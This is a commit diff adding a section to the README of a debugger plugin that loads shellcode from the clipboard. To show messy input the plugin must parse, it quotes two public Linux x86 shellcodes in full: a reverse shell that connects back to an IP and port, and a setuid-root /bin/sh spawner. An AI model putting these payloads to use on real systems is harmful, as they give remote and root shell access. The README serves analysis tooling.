Update README.md

README.md

@@ -67,3 +67,29 @@ Go to Plugins --> xshellex --> clipboard to ....
 
 ![Alt text](clipboard_to_shellcode.png)
 
+## Why this plugin?
+
+In real world yummyPaste cant works fine, because you have a lot of garbage to filter, just check shellcodes like
+
+http://shell-storm.org/shellcode/files/shellcode-833.php
+```
+unsigned char code[] = \
+
+"\x68"
+"\x7f\x01\x01\x01"  // <- IP Number "127.1.1.1"
+"\x5e\x66\x68"
+"\xd9\x03"          // <- Port Number "55555"
+"\x5f\x6a\x66\x58\x99\x6a\x01\x5b\x52\x53\x6a\x02"
+"\x89\xe1\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79"
+"\xf9\xb0\x66\x56\x66\x57\x66\x6a\x02\x89\xe1\x6a"
+"\x10\x51\x53\x89\xe1\xcd\x80\xb0\x0b\x52\x68\x2f"
+"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"
+"\xeb\xce";
+```
+
+https://www.exploit-db.com/exploits/13359
+```
+char sc[] = /* 7 + 23 = 30 bytes */
+"\x6a\x17\x58\x31\xdb\xcd\x80"
+"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80";
+```